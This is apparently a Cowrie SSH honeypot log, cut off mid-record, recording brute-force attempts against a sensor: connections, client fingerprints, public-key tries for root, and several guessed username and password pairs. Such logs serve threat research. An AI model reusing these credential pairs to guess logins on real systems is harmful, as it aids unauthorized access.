{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:45:31.268291Z","src_ip":"200.108.174.4","session":"fca5ce5f206b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"36.95.194.51","src_port":36770,"dst_ip":"159.203.135.109","dst_port":22,"session":"d0f92faabd42","protocol":"ssh","message":"New connection: 36.95.194.51:36770 (159.203.135.109:22) [session: d0f92faabd42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:45:34.247363Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:45:34.252333Z","src_ip":"36.95.194.51","session":"d0f92faabd42","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:45:34.527899Z","src_ip":"36.95.194.51","session":"d0f92faabd42","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.58.255.251","src_port":55282,"dst_ip":"10.17.0.5","dst_port":22,"session":"6d1994b60c66","protocol":"ssh","message":"New connection: 95.58.255.251:55282 (10.17.0.5:22) [session: 6d1994b60c66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:45:35.442495Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:45:35.447868Z","src_ip":"95.58.255.251","session":"6d1994b60c66","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:45:35.616707Z","src_ip":"95.58.255.251","session":"6d1994b60c66","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zhxnephu","password":"zXXUKpvydMqzp1quBItn","message":"login attempt [zhxnephu/zXXUKpvydMqzp1quBItn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:45:35.658033Z","src_ip":"36.95.194.51","session":"d0f92faabd42","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123abc!@","message":"login attempt [root/123abc!@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:45:36.325073Z","src_ip":"95.58.255.251","session":"6d1994b60c66","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:45:36.936957Z","src_ip":"36.95.194.51","session":"d0f92faabd42","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:45:37.496508Z","src_ip":"95.58.255.251","session":"6d1994b60c66","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.165.56.242","src_port":35254,"dst_ip":"159.203.135.109","dst_port":22,"session":"bc5eb05ef51d","protocol":"ssh","message":"New connection: 46.165.56.242:35254 (159.203.135.109:22) [session: bc5eb05ef51d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:45:47.097638Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:45:47.102940Z","src_ip":"46.165.56.242","session":"bc5eb05ef51d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:45:47.252769Z","src_ip":"46.165.56.242","session":"bc5eb05ef51d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"varsha","message":"login attempt [root/varsha] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:45:47.888920Z","src_ip":"46.165.56.242","session":"bc5eb05ef51d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:45:49.043329Z","src_ip":"46.165.56.242","session":"bc5eb05ef51d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"178.20.210.186","src_port":23761,"dst_ip":"10.17.0.5","dst_port":22,"session":"436126145ba0","protocol":"ssh","message":"New connection: 178.20.210.186:23761 (10.17.0.5:22) [session: 436126145ba0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:45:54.465261Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:45:54.469152Z","src_ip":"178.20.210.186","session":"436126145ba0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:45:54.592081Z","src_ip":"178.20.210.186","session":"436126145ba0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"123456789","password":"123456789","message":"login attempt [123456789/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:45:55.032111Z","src_ip":"178.20.210.186","session":"436126145ba0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:45:56.134654Z","src_ip":"178.20.210.186","session":"436126145ba0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.48.46.197","src_port":37842,"dst_ip":"10.17.0.5","dst_port":22,"session":"ce40ff5a4259","protocol":"ssh","message":"New connection: 74.48.46.197:37842 (10.17.0.5:22) [session: ce40ff5a4259]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:46:10.991826Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:46:10.997303Z","src_ip":"74.48.46.197","session":"ce40ff5a4259","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:46:11.069995Z","src_ip":"74.48.46.197","session":"ce40ff5a4259","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b5:65:2f:4c:a9:fb:20:4f:24:e8:2a:0a:27:85:2b:61","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDpgzjLNTC6xUe1rMSAWgurnMbXeeZPRXqO9XTB/wS043qQLnmV70RI/D/eRrPwGL9IFd02wV7QEZUqX4x+4G1D/F7T3ryqePd5JkKbkBi3g64GBpO+XdqjXTzjaQ9i3XBPQ7hQy9oA9K+yAaLkyVCgB4mQUq3OIm9g6EIROyY9kl4swqHKpTuNF0MZuinzIrL61oqoeF22UQgmUnJEek7F3WMlErGw/s4Qj91C5/+XT7tH84+N6IVAZh5ye4GF+5yUiRw5Us57vv6/h8Zxn01wl9Jm/fCpo4fd6v2x1EZ65i7VToYiYJdI1KqneOhBwKCpAf0OcA6N0Sxl57dnrEh5","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b5:65:2f:4c:a9:fb:20:4f:24:e8:2a:0a:27:85:2b:61","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:46:11.396420Z","src_ip":"74.48.46.197","session":"ce40ff5a4259","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b5:65:2f:4c:a9:fb:20:4f:24:e8:2a:0a:27:85:2b:61","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDpgzjLNTC6xUe1rMSAWgurnMbXeeZPRXqO9XTB/wS043qQLnmV70RI/D/eRrPwGL9IFd02wV7QEZUqX4x+4G1D/F7T3ryqePd5JkKbkBi3g64GBpO+XdqjXTzjaQ9i3XBPQ7hQy9oA9K+yAaLkyVCgB4mQUq3OIm9g6EIROyY9kl4swqHKpTuNF0MZuinzIrL61oqoeF22UQgmUnJEek7F3WMlErGw/s4Qj91C5/+XT7tH84+N6IVAZh5ye4GF+5yUiRw5Us57vv6/h8Zxn01wl9Jm/fCpo4fd6v2x1EZ65i7VToYiYJdI1KqneOhBwKCpAf0OcA6N0Sxl57dnrEh5","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:46:11.400311Z","src_ip":"74.48.46.197","session":"ce40ff5a4259","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"eb:8a:10:f5:91:ef:0f:cd:ab:c6:76:25:6e:40:25:e5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDTwEH4i+tlsoDbBBXvCV1B+w4ObWAHpxXLupwodNMGhAiRscJ3d5p7FDcdhAIpPQ2VYx+tQzDvAGhLYdL1D+bAkvasuzKYFlujOsQpI6t7epGC0tm7mOoikIFwfRBVmqqJZPKhh1ca+QyQdQs5NXPfc8HMc+ieN14UGwWCU4wb2SydPjDxICqsr1Ar/8ZGBNPbfwHT5lKYtP4Iq/9kMeSE3LkfjMuDfccOz/GKxDVBvyPIOelw7RXg/fjDZ8QdbhMsZ8EF+EHeGddUFYgbk+qppnRWB5xlQcRuGhwIZJsIxXCnNo1GJp+Ad9s2UqDnDAzJp+Kfnd8jTJ0NULdJyRim/Af3DcbDl2XMHu4lXwPzb755GTNlMRQ4uaP96l+UUq6imGBPxsAZjXYqbH8/ubZcGdexDKB4FC4dK8VcFJBz2Y8Y56ecN7rFzxc4TOTpIn3OmHLSH1shiXlLGjaqNIEdTMwiEqWyj7teBeWGKtJXY5MhL/9+Xr8RXaUgb3El4KXOTFiUZo6uu93x/1ADNu70pLDXi/nH2fWoDkVXawlX1OD0Cmv18eavxh5rajEgNB/8c98q4uzj+6Mn4kUH9ZSeONVn7pPV0HTCuAJSJnbpMHIaROv+Nf0I7tM5+HgYupKvYdsQoqwfWhgvZuNgvNXqZu8EpX6CvyoqIuB7BN+F3Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint eb:8a:10:f5:91:ef:0f:cd:ab:c6:76:25:6e:40:25:e5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:46:11.469863Z","src_ip":"74.48.46.197","session":"ce40ff5a4259","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"eb:8a:10:f5:91:ef:0f:cd:ab:c6:76:25:6e:40:25:e5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDTwEH4i+tlsoDbBBXvCV1B+w4ObWAHpxXLupwodNMGhAiRscJ3d5p7FDcdhAIpPQ2VYx+tQzDvAGhLYdL1D+bAkvasuzKYFlujOsQpI6t7epGC0tm7mOoikIFwfRBVmqqJZPKhh1ca+QyQdQs5NXPfc8HMc+ieN14UGwWCU4wb2SydPjDxICqsr1Ar/8ZGBNPbfwHT5lKYtP4Iq/9kMeSE3LkfjMuDfccOz/GKxDVBvyPIOelw7RXg/fjDZ8QdbhMsZ8EF+EHeGddUFYgbk+qppnRWB5xlQcRuGhwIZJsIxXCnNo1GJp+Ad9s2UqDnDAzJp+Kfnd8jTJ0NULdJyRim/Af3DcbDl2XMHu4lXwPzb755GTNlMRQ4uaP96l+UUq6imGBPxsAZjXYqbH8/ubZcGdexDKB4FC4dK8VcFJBz2Y8Y56ecN7rFzxc4TOTpIn3OmHLSH1shiXlLGjaqNIEdTMwiEqWyj7teBeWGKtJXY5MhL/9+Xr8RXaUgb3El4KXOTFiUZo6uu93x/1ADNu70pLDXi/nH2fWoDkVXawlX1OD0Cmv18eavxh5rajEgNB/8c98q4uzj+6Mn4kUH9ZSeONVn7pPV0HTCuAJSJnbpMHIaROv+Nf0I7tM5+HgYupKvYdsQoqwfWhgvZuNgvNXqZu8EpX6CvyoqIuB7BN+F3Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:46:11.472698Z","src_ip":"74.48.46.197","session":"ce40ff5a4259","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"59:c4:27:89:4c:ab:9d:ea:92:a2:bf:92:c6:ba:2a:67","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDM0B8YVGA/6IEF+6VDNHEL7WmZCoZ6z66QSAiWDIpd1ShmHsYIrypspYGU91gkH6KjZf1nM7Qfd0i13ZcN5tE+Ag3upLLg0wHAgyneeZKAOTwfnKn2vUN/xGdc0OSEgrKsZmwxZ5HgHcRmaw+u8F6nRsqAF8SognhrNHexLxlPVBPBTB0jtu+VGKbPhp+EN9lBZmhsRWhO2FrfSA7Zvy9Dlt2TD/ewc8neKNDCiHe+9oHNM9MBlUMo+IhqmzdZBTD4ugKblUG/ZwgIaa/E69/1ynUC6h43FaCSIKa8q5PcVusJlWFw76DNlyJYS5LzQyd1GzPSAXKCa/WkNaMVuGiCqAVEn7jTn9OQL9tPld3cN5WRrn8eeMndTAU2Q34sNzpbtjGLwpYiJxGL3MvIL1Q0oSkNA18GQlvAV6mUIHAIorY+CxXQSnL9WNRKy1fql4981v3lyMzgNVS8uC5v8WvYLxZs9JvoiB6zWtVgZxNNX563iQsi1gcJ1TgkqektPql+qaJ8VVRaaqXSyr9EsdjmWb55wj+izT7lfsN+K8Em9+3oE+axnyaGO4f2EFgcQsojPH2di3/5bhdbjqz9/quTCNK/FgzxNtdCUzj6jOQn6yuG/ieRlVq23yHfDRA70OSHWrTt1gsUQOT+5C8iS26MOAExyAhFUOyeDGvun12bQQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 59:c4:27:89:4c:ab:9d:ea:92:a2:bf:92:c6:ba:2a:67","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:46:11.543922Z","src_ip":"74.48.46.197","session":"ce40ff5a4259","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"59:c4:27:89:4c:ab:9d:ea:92:a2:bf:92:c6:ba:2a:67","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDM0B8YVGA/6IEF+6VDNHEL7WmZCoZ6z66QSAiWDIpd1ShmHsYIrypspYGU91gkH6KjZf1nM7Qfd0i13ZcN5tE+Ag3upLLg0wHAgyneeZKAOTwfnKn2vUN/xGdc0OSEgrKsZmwxZ5HgHcRmaw+u8F6nRsqAF8SognhrNHexLxlPVBPBTB0jtu+VGKbPhp+EN9lBZmhsRWhO2FrfSA7Zvy9Dlt2TD/ewc8neKNDCiHe+9oHNM9MBlUMo+IhqmzdZBTD4ugKblUG/ZwgIaa/E69/1ynUC6h43FaCSIKa8q5PcVusJlWFw76DNlyJYS5LzQyd1GzPSAXKCa/WkNaMVuGiCqAVEn7jTn9OQL9tPld3cN5WRrn8eeMndTAU2Q34sNzpbtjGLwpYiJxGL3MvIL1Q0oSkNA18GQlvAV6mUIHAIorY+CxXQSnL9WNRKy1fql4981v3lyMzgNVS8uC5v8WvYLxZs9JvoiB6zWtVgZxNNX563iQsi1gcJ1TgkqektPql+qaJ8VVRaaqXSyr9EsdjmWb55wj+izT7lfsN+K8Em9+3oE+axnyaGO4f2EFgcQsojPH2di3/5bhdbjqz9/quTCNK/FgzxNtdCUzj6jOQn6yuG/ieRlVq23yHfDRA70OSHWrTt1gsUQOT+5C8iS26MOAExyAhFUOyeDGvun12bQQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:46:11.547245Z","src_ip":"74.48.46.197","session":"ce40ff5a4259","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"42:e0:4a:2f:97:f8:af:e1:31:a7:89:8a:92:e4:35:7a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDhnghZ9PTLnZB5YpmrrT/wC8SBoId8TDvDXcCOlXrgCCnIJ4bi22y8rl2A2FS1c+unelHc46eeEKr1UwmYdp+9uOkKx1HdCn01worCBxIeU4rSXpYY3Zm3ObhuMu5LYlqjvOmEzRXs8frjCo7NYcR8wAJ4hEFS+oNGwoAIgMh49MdgH/YHRcOz+5x0oZ1ebTuvQZdVdxD4x3DGOpis3HJaqMMCuP66SrcpsWvPP27FUnATVG11hmo92x9hUWYzJZyaq7BBR6HLarcDNtXW2j8bOn4AjpJh0kYurPgg/jFgA8DFMRIwSYuub+wW5Qk7yW6apOOxw+6MO/ZS1FFh+Gvrzgtk76/JP0/HJsKITOyaRl3YZZmlX85HtnPhDE6JHXuJUucpmMDHc8NchKKicL8pjfcN4OTfC8OmAStoEZoa5lITUO7H1zkqZGJEg00OYefpCAhOy8dznmNIYadVz5izO3A/JQqfEvCnYeTNYWt6CU/K3TOekt1Bmt9wN3kT7+vzEjNFz6oBn3vLiUeA+LdsnNPzlcKZarS6F5YAlBwOASvSCX4Ceb3PmiXWNMuruqvZAjpwaVrPQgvEnKxh+srps4h9DLYZt1ZV6hm+uL0JJzWZ2nRnoKB+bsj7fXiAqr9MURVBriaBzyFSsHuCceNGHwIdsged7S9xDwxB77ezUw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 